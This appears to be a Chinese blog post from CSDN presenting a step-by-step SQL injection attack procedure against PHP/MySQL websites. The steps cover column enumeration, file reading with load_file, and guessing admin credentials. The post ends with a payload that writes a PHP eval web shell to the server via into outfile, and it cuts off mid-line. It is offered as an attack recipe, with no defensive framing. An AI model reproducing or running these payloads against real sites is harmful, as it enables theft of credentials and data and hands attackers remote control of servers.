PHP注入的基本

本文介绍了PHP注入的基本原理和步骤,包括判断注入、版本探测、字段暴漏、权限检测等。通过union查询获取数据库信息,并利用load_file()读取文件。还探讨了如何在字段不足或无法直接写入文件时的解决策略,以及使用into outfile和load data infile读取与写入文件的方法。同时提到了绕过过滤和防止盲注的技巧。
摘要由CSDN通过智能技术生成

1.判断是否存在注入,加’;and 1=1;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,…/直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(
) from mysql.user)>0 /如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /
注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6… from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6… from user/如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段,猜解成功再找后台登录。
10.登录后台,上传shell。
11.检测是不是root权限 and/**/ord(mid(user(),1,1))=114/

PHP注入小技巧:

unhex(hex(user())) unhex把16进制进行转换 hex是16进制

编码不同的问题,hex()搞不定的话试试convert()函数

boardrule.php?groupboardid=11111//union//select/**/concat(user(),0x3f,database(),0x3f,version())/*

id=133 and 1=2 union select 1,2,<?php eval($_POST['#']);?>,4,5 into outfile ‘/home/www/htdocs/shell.php’/*

http://site.com/article.php?id=-1+union+all+select+null,null,conc

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值